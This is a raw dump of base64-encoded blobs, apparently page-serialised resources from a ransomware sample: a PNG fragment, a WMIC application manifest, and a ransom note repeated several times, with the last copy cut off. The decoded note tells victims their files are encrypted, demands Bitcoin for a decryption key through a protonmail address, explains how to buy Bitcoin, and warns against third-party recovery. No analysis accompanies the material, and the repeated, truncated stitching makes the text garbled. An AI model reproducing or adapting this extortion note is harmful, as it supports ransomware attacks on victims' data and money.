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:T41c,PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0ndXRmLTgnIHN0YW5kYWxvbmU9J3llcyc/PiAgQ29weXJpZ2h0IChjKSBNaWNyb3NvZnQgQ29ycG9yYXRpb24gLS0+PGFzc2VtYmx5ICAgIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MSIgICAgbWFuaWZlc3RWZXJzaW9uPSIxLjAiICAgID4gIDxhc3NlbWJseUlkZW50aXR5ICAgICAgbmFtZT0id21pYyIgICAgICBwcm9jZXNzb3JBcmNoaXRlY3R1cmU9Ilg4NiIgICAgICB0eXBlPSJ3aW4zMiIgICAgICB2ZXJzaW9uPSIxLjAuMC4wIiAgICAgIC8+ICA8ZGVzY3JpcHRpb24+V2luZG93cyBNYW5hZ2VtZW50IEluc3RydW1lbnRhdGlvbiBDb21tYW5kLWxpbmUgKFdNSUMpIHV0aWxpdHkgcHJvdmlkZXMgYSBjb21tYW5kLWxpbmUgaW50ZXJmYWNlIGZvciBXaW5kb3dzIE1hbmFnZW1lbnQgSW5zdHJ1bWVudGF0aW9uIChXTUkpPC9kZXNjcmlwdGlvbj4gICAgSWRlbnRpZnkgdGhlIGFwcGxpY2F0aW9uIHNlY3VyaXR5IHJlcXVpcmVtZW50cy4gLS0+ICA8dHJ1c3RJbmZvIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MyI+ICAgIDxzZWN1cml0eT4gICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcz4gICAgICAgIDxyZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCAgICAgICAgICAgIGxldmVsPSJhc0ludm9rZXIiICAgICAgICAgICAgdWlBY2Nlc3M9ImZhbHNlIiAgICAgICAgICAgIC8+ICAgICAgPC9yZXF1ZXN0ZWRQcml2aWxlZ2VzPiAgICA8L3NlY3VyaXR5PiAgPC90cnVzdEluZm8+PC9hc3NlbWJseT4=32:Tab8,WW91ciBmaWxlcyBhcmUgbm93IGVuY3J5cHRlZCFZb3VyIHBlcnNvbmFsIGlkZW50aWZpZXI6NkEwMjAwMDAwMDAwMDAwMDI3RjE3MTM5MUQ5MkM5MTE4MDMwMEMwMzVCOTI2RkJCRkZDNkQ4MzBGOTMwRTBDODVBODkwQzU3QTY3QzUyMTk5NTM3MTc1MzE3NUQzMkY3MjhFREU1RUQ3MEQ0NzJEMzY5QUEzQzM2MkJCMjQzRTdDRUZDRDlDQzM5MjIzRTg3Q0M4QUJCMTVCRDk5NkVFMUQ2ODg1RkVERjREQ0JBNjYzNzIzQTRCMjRFODRFRUVDNDZBNkI2QUUzNTlCMjgyNjJCNzVCOTVCODcxMUJGNDI1NDc3MUI4QTJDOURFREY1NzFCMUU2QzZBNjU5RThCNjNCQjk4MUVCNjUxMzBCNzc0MkQ1MUQ0OEI4QTMwQTYyNjQ0MDY4RDhGNkRFRjMzMzRDNjQ3MjZGNzBDRTNFNDkwRDRBQ0VCNDdCOUIzRDhENjcyQUI2M0Q3MkI0RkU4RTg0RjVCOTAyM0Y3QzZDNjNENDRCNEMyODM3QzA4QkFFNEYwMTVEMEMzQjExOTFBNUNCRjBDNTk2RUE2QkUxNUIxRTYwMUU5MTBFNDQzODUyMDRDQjRFMjRCMzFEQzYzQjJGNDVEMTA0NzAxQjJCM0U1NjZCQjJCNjY4ODExMUU1NjExRTY1QTIxODUyODZGRDhFQTAyOTYyREUxODc5RTM5MTY3M0E1MzU2QjE2OTlBN0FFOThDRTNBNDAyRDI5ODBCOEZEN0JCQzhDMEQwRDkyRDcyNDdGQ0NEOTI0NDJDNzIyMTMzQ0E1QzBBQTQwRjEyODlGRjNGMDE2QzhDRTY5MjNGODRENkRCMjYxRDUwRjBGQ0U4MjgzQzlGOUZBNTJCQUIzMTdEQWxsIHlvdXIgZmlsZXMgaGF2ZSBiZWVuIGVuY3J5cHRlZCBkdWUgdG8gYSBzZWN1cml0eSBwcm9ibGVtIHdpdGggeW91ciBQQy5Ob3cgeW91IHNob3VsZCBzZW5kIHVzIGVtYWlsIHdpdGggeW91ciBwZXJzb25hbCBpZGVudGlmaWVyLlRoaXMgZW1haWwgd2lsbCBiZSBhcyBjb25maXJtYXRpb24geW91IGFyZSByZWFkeSB0byBwYXkgZm9yIGRlY3J5cHRpb24ga2V5LllvdSBoYXZlIHRvIHBheSBmb3IgZGVjcnlwdGlvbiBpbiBCaXRjb2lucy4gVGhlIHByaWNlIGRlcGVuZHMgb24gaG93IGZhc3QgeW91IHdyaXRlIHRvIHVzLkFmdGVyIHBheW1lbnQgd2Ugd2lsbCBzZW5kIHlvdSB0aGUgZGVjcnlwdGlvbiB0b29sIHRoYXQgd2lsbCBkZWNyeXB0IGFsbCB5b3VyIGZpbGVzLiBDb250YWN0IHVzIHVzaW5nIHRoaXMgZW1haWwgYWRkcmVzczogbXJkZWVwQHByb3Rvbm1haWwuY29tRnJlZSBkZWNyeXB0aW9uIGFzIGd1YXJhbnRlZSFCZWZvcmUgcGF5aW5nIHlvdSBjYW4gc2VuZCB1cyB1cCB0byAzIGZpbGVzIGZvciBmcmVlIGRlY3J5cHRpb24uVGhlIHRvdGFsIHNpemUgb2YgZmlsZXMgbXVzdCBiZSBsZXNzIHRoYW4gMTBNYiAobm9uIGFyY2hpdmVkKSwgYW5kIGZpbGVzIHNob3VsZCBub3QgY29udGFpbnZhbHVhYmxlIGluZm9ybWF0aW9uIChkYXRhYmFzZXMsIGJhY2t1cHMsIGxhcmdlIGV4Y2VsIHNoZWV0cywgZXRjLikuSG93IHRvIG9idGFpbiBCaXRjb2lucz8gICogVGhlIGVhc2llc3Qgd2F5IHRvIGJ1eSBiaXRjb2lucyBpcyBMb2NhbEJpdGNvaW5zIHNpdGUuIFlvdSBoYXZlIHRvIHJlZ2lzdGVyLCBjbGljayAgICAnQnV5IGJpdGNvaW5zJywgYW5kIHNlbGVjdCB0aGUgc2VsbGVyIGJ5IHBheW1lbnQgbWV0aG9kIGFuZCBwcmljZTogICAgaHR0cHM6Ly9sb2NhbGJpdGNvaW5zLmNvbS9idXlfYml0Y29pbnMgICogQWxzbyB5b3UgY2FuIGZpbmQgb3RoZXIgcGxhY2VzIHRvIGJ1eSBCaXRjb2lucyBhbmQgYmVnaW5uZXJzIGd1aWRlIGhlcmU6ICAgICAgaHR0cDovL3d3dy5jb2luZGVzay5jb20vaW5mb3JtYXRpb24vaG93LWNhbi1pLWJ1eS1iaXRjb2lucyAgIEF0dGVudGlvbiEgICAgKiBEbyBub3QgcmVuYW1lIGVuY3J5cHRlZCBmaWxlcy4gICogRG8gbm90IHRyeSB0byBkZWNyeXB0IHlvdXIgZGF0YSB1c2luZyB0aGlyZCBwYXJ0eSBzb2Z0d2FyZSwgaXQgbWF5IGNhdXNlIHBlcm1hbmVudCBkYXRhIGxvc3MuICAgKiBEZWNyeXB0aW9uIG9mIHlvdXIgZmlsZXMgd2l0aCB0aGUgaGVscCBvZiB0aGlyZCBwYXJ0aWVzIG1heSBjYXVzZSBpbmNyZWFzZWQgcHJpY2UgICAgICh0aGV5IGFkZCB0aGVpciBmZWUgdG8gb3VyKSBvciB5b3UgY2FuIGJlY29tZSBhIHZpY3RpbSBvZiBhIHNjYW0u33:T41c,PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0ndXRmLTgnIHN0YW5kYWxvbmU9J3llcyc/PiAgQ29weXJpZ2h0IChjKSBNaWNyb3NvZnQgQ29ycG9yYXRpb24gLS0+PGFzc2VtYmx5ICAgIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MSIgICAgbWFuaWZlc3RWZXJzaW9uPSIxLjAiICAgID4gIDxhc3NlbWJseUlkZW50aXR5ICAgICAgbmFtZT0id21pYyIgICAgICBwcm9jZXNzb3JBcmNoaXRlY3R1cmU9Ilg4NiIgICAgICB0eXBlPSJ3aW4zMiIgICAgICB2ZXJzaW9uPSIxLjAuMC4wIiAgICAgIC8+ICA8ZGVzY3JpcHRpb24+V2luZG93cyBNYW5hZ2VtZW50IEluc3RydW1lbnRhdGlvbiBDb21tYW5kLWxpbmUgKFdNSUMpIHV0aWxpdHkgcHJvdmlkZXMgYSBjb21tYW5kLWxpbmUgaW50ZXJmYWNlIGZvciBXaW5kb3dzIE1hbmFnZW1lbnQgSW5zdHJ1bWVudGF0aW9uIChXTUkpPC9kZXNjcmlwdGlvbj4gICAgSWRlbnRpZnkgdGhlIGFwcGxpY2F0aW9uIHNlY3VyaXR5IHJlcXVpcmVtZW50cy4gLS0+ICA8dHJ1c3RJbmZvIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MyI+ICAgIDxzZWN1cml0eT4gICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcz4gICAgICAgIDxyZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCAgICAgICAgICAgIGxldmVsPSJhc0ludm9rZXIiICAgICAgICAgICAgdWlBY2Nlc3M9ImZhbHNlIiAgICAgICAgICAgIC8+ICAgICAgPC9yZXF1ZXN0ZWRQcml2aWxlZ2VzPiAgICA8L3NlY3VyaXR5PiAgPC90cnVzdEluZm8+PC9hc3NlbWJseT4=34:Tab8,WW91ciBmaWxlcyBhcmUgbm93IGVuY3J5cHRlZCFZb3VyIHBlcnNvbmFsIGlkZW50aWZpZXI6NkEwMjAwMDAwMDAwMDAwMDI3RjE3MTM5MUQ5MkM5MTE4MDMwMEMwMzVCOTI2RkJCRkZDNkQ4MzBGOTMwRTBDODVBODkwQzU3QTY3QzUyMTk5NTM3MTc1MzE3NUQzMkY3MjhFREU1RUQ3MEQ0NzJEMzY5QUEzQzM2MkJCMjQzRTdDRUZDRDlDQzM5MjIzRTg3Q0M4QUJCMTVCRDk5NkVFMUQ2ODg1RkVERjREQ0JBNjYzNzIzQTRCMjRFODRFRUVDNDZBNkI2QUUzNTlCMjgyNjJCNzVCOTVCODcxMUJGNDI1NDc3MUI4QTJDOURFREY1NzFCMUU2QzZBNjU5RThCNjNCQjk4MUVCNjUxMzBCNzc0MkQ1MUQ0OEI4QTMwQTYyNjQ0MDY4RDhGNkRFRjMzMzRDNjQ3MjZGNzBDRTNFNDkwRDRBQ0VCNDdCOUIzRDhENjcyQUI2M0Q3MkI0RkU4RTg0RjVCOTAyM0Y3QzZDNjNENDRCNEMyODM3QzA4QkFFNEYwMTVEMEMzQjExOTFBNUNCRjBDNTk2RUE2QkUxNUIxRTYwMUU5MTBFNDQzODUyMDRDQjRFMjRCMzFEQzYzQjJGNDVEMTA0NzAxQjJCM0U1NjZCQjJCNjY4ODExMUU1NjExRTY1QTIxODUyODZGRDhFQTAyOTYyREUxODc5RTM5MTY3M0E1MzU2QjE2OTlBN0FFOThDRTNBNDAyRDI5ODBCOEZEN0JCQzhDMEQwRDkyRDcyNDdGQ0NEOTI0NDJDNzIyMTMzQ0E1QzBBQTQwRjEyODlGRjNGMDE2QzhDRTY5MjNGODRENkRCMjYxRDUwRjBGQ0U4MjgzQzlGOUZBNTJCQUIzMTdEQWxsIHlvdXIgZmlsZXMgaGF2ZSBiZWVuIGVuY3J5cHRlZCBkdWUgdG8gYSBzZWN1cml0eSBwcm9ibGVtIHdpdGggeW91ciBQQy5Ob3cgeW91IHNob3VsZCBzZW5kIHVzIGVtYWlsIHdpdGggeW91ciBwZXJzb25hbCBpZGVudGlmaWVyLlRoaXMgZW1haWwgd2lsbCBiZSBhcyBjb25maXJtYXRpb24geW91IGFyZSByZWFkeSB0byBwYXkgZm9yIGRlY3J5cHRpb24ga2V5LllvdSBoYXZlIHRvIHBheSBmb3IgZGVjcnlwdGlvbiBpbiBCaXRjb2lucy4gVGhlIHByaWNlIGRlcGVuZHMgb24gaG93IGZhc3QgeW91IHdyaXRlIHRvIHVzLkFmdGVyIHBheW1lbnQgd2Ugd2lsbCBzZW5kIHlvdSB0aGUgZGVjcnlwdGlvbiB0b29sIHRoYXQgd2lsbCBkZWNyeXB0IGFsbCB5b3VyIGZpbGVzLiBDb250YWN0IHVzIHVzaW5nIHRoaXMgZW1haWwgYWRkcmVzczogbXJkZWVwQHByb3Rvbm1haWwuY29tRnJlZSBkZWNyeXB0aW9uIGFzIGd1YXJhbnRlZSFCZWZvcmUgcGF5aW5nIHlvdSBjYW4gc2VuZCB1cyB1cCB0byAzIGZpbGVzIGZvciBmcmVlIGRlY3J5cHRpb24uVGhlIHRvdGFsIHNpemUgb2YgZmlsZXMgbXVzdCBiZSBsZXNzIHRoYW4gMTBNYiAobm9uIGFyY2hpdmVkKSwgYW5kIGZpbGVzIHNob3VsZCBub3QgY29udGFpbnZhbHVhYmxlIGluZm9ybWF0aW9uIChkYXRhYmFzZXMsIGJhY2t1cHMsIGxhcmdlIGV4Y2VsIHNoZWV0cywgZXRjLikuSG93IHRvIG9idGFpbiBCaXRjb2lucz8gICogVGhlIGVhc2llc3Qgd2F5IHRvIGJ1eSBiaXRjb2lucyBpcyBMb2NhbEJpdGNvaW5zIHNpdGUuIFlvdSBoYXZlIHRvIHJlZ2lzdGVyLCBjbGljayAgICAnQnV5IGJpdGNvaW5zJywgYW5kIHNlbGVjdCB0aGUgc2VsbGVyIGJ5IHBheW1lbnQgbWV0aG9kIGFuZCBwcmljZTogICAgaHR0cHM6Ly9sb2NhbGJpdGNvaW5zLmNvbS9idXlfYml0Y29pbnMgICogQWxzbyB5b3UgY2FuIGZpbmQgb3RoZXIgcGxhY2VzIHRvIGJ1eSBCaXRjb2lucyBhbmQgYmVnaW5uZXJzIGd1aWRlIGhlcmU6ICAgICAgaHR0cDovL3d3dy5jb2luZGVzay5jb20vaW5mb3JtYXRpb24vaG93LWNhbi1pLWJ1eS1iaXRjb2lucyAgIEF0dGVudGlvbiEgICAgKiBEbyBub3QgcmVuYW1lIGVuY3J5cHRlZCBmaWxlcy4gICogRG8gbm90IHRyeSB0byBkZWNyeXB0IHlvdXIgZGF0YSB1c2luZyB0aGlyZCBwYXJ0eSBzb2Z0d2FyZSwgaXQgbWF5IGNhdXNlIHBlcm1hbmVudCBkYXRhIGxvc3MuICAgKiBEZWNyeXB0aW9uIG9mIHlvdXIgZmlsZXMgd2l0aCB0aGUgaGVscCBvZiB0aGlyZCBwYXJ0aWVzIG1heSBjYXVzZSBpbmNyZWFzZWQgcHJpY2UgICAgICh0aGV5IGFkZCB0aGVpciBmZWUgdG8gb3VyKSBvciB5b3UgY2FuIGJlY29tZSBhIHZpY3RpbSBvZiBhIHNjYW0u35:T41c,PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0ndXRmLTgnIHN0YW5kYWxvbmU9J3llcyc/PiAgQ29weXJpZ2h0IChjKSBNaWNyb3NvZnQgQ29ycG9yYXRpb24gLS0+PGFzc2VtYmx5ICAgIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MSIgICAgbWFuaWZlc3RWZXJzaW9uPSIxLjAiICAgID4gIDxhc3NlbWJseUlkZW50aXR5ICAgICAgbmFtZT0id21pYyIgICAgICBwcm9jZXNzb3JBcmNoaXRlY3R1cmU9Ilg4NiIgICAgICB0eXBlPSJ3aW4zMiIgICAgICB2ZXJzaW9uPSIxLjAuMC4wIiAgICAgIC8+ICA8ZGVzY3JpcHRpb24+V2luZG93cyBNYW5hZ2VtZW50IEluc3RydW1lbnRhdGlvbiBDb21tYW5kLWxpbmUgKFdNSUMpIHV0aWxpdHkgcHJvdmlkZXMgYSBjb21tYW5kLWxpbmUgaW50ZXJmYWNlIGZvciBXaW5kb3dzIE1hbmFnZW1lbnQgSW5zdHJ1bWVudGF0aW9uIChXTUkpPC9kZXNjcmlwdGlvbj4gICAgSWRlbnRpZnkgdGhlIGFwcGxpY2F0aW9uIHNlY3VyaXR5IHJlcXVpcmVtZW50cy4gLS0+ICA8dHJ1c3RJbmZvIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MyI+ICAgIDxzZWN1cml0eT4gICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcz4gICAgICAgIDxyZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCAgICAgICAgICAgIGxldmVsPSJhc0ludm9rZXIiICAgICAgICAgICAgdWlBY2Nlc3M9ImZhbHNlIiAgICAgICAgICAgIC8+ICAgICAgPC9yZXF1ZXN0ZWRQcml2aWxlZ2VzPiAgICA8L3NlY3VyaXR5PiAgPC90cnVzdEluZm8+PC9hc3NlbWJseT4=36:Tab8,WW91ciBmaWxlcyBhcmUgbm93IGVuY3J5cHRlZCFZb3VyIHBlcnNvbmFsIGlkZW50aWZpZXI6NkEwMjAwMDAwMDAwMDAwMDI3RjE3MTM5MUQ5MkM5MTE4MDMwMEMwMzVCOTI2RkJCRkZDNkQ4MzBGOTMwRTBDODVBODkwQzU3QTY3QzUyMTk5NTM3MTc1MzE3NUQzMkY3MjhFREU1RUQ3MEQ0NzJEMzY5QUEzQzM2MkJCMjQzRTdDRUZDRDlDQzM5MjIzRTg3Q0M4QUJCMTVCRDk5NkVFMUQ2ODg1RkVERjREQ0JBNjYzNzIzQTRCMjRFODRFRUVDNDZBNkI2QUUzNTlCMjgyNjJCNzVCOTVCODcxMUJGNDI1NDc3MUI4QTJDOURFREY1NzFCMUU2QzZBNjU5RThCNjNCQjk4MUVCNjUxMzBCNzc0MkQ1MUQ0OEI4QTMwQTYyNjQ0MDY4RDhGNkRFRjMzMzRDNjQ3MjZGNzBDRTNFNDkwRDRBQ0VCNDdCOUIzRDhENjcyQUI2M0Q3MkI0RkU4RTg0RjVCOTAyM0Y3QzZDNjNENDRCNEMyODM3QzA4QkFFNEYwMTVEMEMzQjExOTFBNUNCRjBDNTk2RUE2QkUxNUIxRTYwMUU5MTBFNDQzODUyMDRDQjRFMjRCMzFEQzYzQjJGNDVEMTA0NzAxQjJCM0U1NjZCQjJCNjY4ODExMUU1NjExRTY1QTIxODUyODZGRDhFQTAyOTYyREUxODc5RTM5MTY3M0E1MzU2QjE2OTlBN0FFOThDRTNBNDAyRDI5ODBCOEZEN0JCQzhDMEQwRDkyRDcyNDdGQ0NEOTI0NDJDNzIyMTMzQ0E1QzBBQTQwRjEyODlGRjNGMDE2QzhDRTY5MjNGODRENkRCMjYxRDUwRjBGQ0U4MjgzQzlGOUZBNTJCQUIzMTdEQWxsIHlvdXIgZmlsZXMgaGF2ZSBiZWVuIGVuY3J5cHRlZCBkdWUgdG8gYSBzZWN1cml0eSBwcm9ibGVtIHdpdGggeW91ciBQQy5Ob3cgeW91IHNob3VsZCBzZW5kIHVzIGVtYWlsIHdpdGggeW91ciBwZXJzb25hbCBpZGVudGlmaWVyLlRoaXMgZW1haWwgd2lsbCBiZSBhcyBjb25maXJtYXRpb24geW91IGFyZSByZWFkeSB0byBwYXkgZm9yIGRlY3J5cHRpb24ga2V5LllvdSBoYXZlIHRvIHBheSBmb3IgZGVjcnlwdGlvbiBpbiBCaXRjb2lucy4gVGhlIHByaWNlIGRlcGVuZHMgb24gaG93IGZhc3QgeW91IHdyaXRlIHRvIHVzLkFmdGVyIHBheW1lbnQgd2Ugd2lsbCBzZW5kIHlvdSB0aGUgZGVjcnlwdGlvbiB0b29sIHRoYXQgd2lsbCBkZWNyeXB0IGFsbCB5b3VyIGZpbGVzLiBDb250YWN0IHVzIHVzaW5nIHRoaXMgZW1haWwgYWRkcmVzczogbXJkZWVwQHByb3Rvbm1haWwuY29tRnJlZSBkZWNyeXB0aW9uIGFzIGd1YXJhbnRlZSFCZWZvcmUgcGF5aW5nIHlvdSBjYW4gc2VuZCB1cyB1cCB0byAzIGZpbGVzIGZvciBmcmVlIGRlY3J5cHRpb24uVGhlIHRvdGFsIHNpemUgb2YgZmlsZXMgbXVzdCBiZSBsZXNzIHRoYW4gMTBNYiAobm9uIGFyY2hpdmVkKSwgYW5kIGZpbGVzIHNob3VsZCBub3QgY29udGFpbnZhbHVhYmxlIGluZm9ybWF0aW9uIChkYXRhYmFzZXMsIGJhY2t1cHMsIGxhcmdlIGV4Y2VsIHNoZWV0cywgZXRjLikuSG93IHRvIG9idGFpbiBCaXRjb2lucz8gICogVGhlIGVhc2llc3Qgd2F5IHRvIGJ1eSBiaXRjb2lucyBpcyBMb2NhbEJpdGNvaW5zIHNpdGUuIFlvdSBoYXZlIHRvIHJlZ2lzdGVyLCBjbGljayAgICAnQnV5IGJpdGNvaW5zJywgYW5kIHNlbGVjdCB0aGUgc2VsbGVyIGJ5IHBheW1lbnQgbWV0aG9kIGFuZCBwcmljZTogICAgaHR0cHM6Ly9sb2NhbGJpdGNvaW5zLmNvbS9idXlfYml0Y29pbnMgICogQWxzbyB5b3UgY2FuIGZpbmQgb3RoZXIgcGxhY2VzIHRvIGJ1eSBCaXRjb2lucyBhbmQgYmVnaW5uZXJzIGd1aWRlIGhlcmU6ICAgICAgaHR0cDovL3d3dy5jb2luZGVzay5jb20vaW5mb3JtYXRpb24vaG93LWNhbi1pLWJ1eS1iaXRjb2lucyAgIEF0dGVudGlvbiEgICAgKiBEbyBub3QgcmVuYW1lIGVuY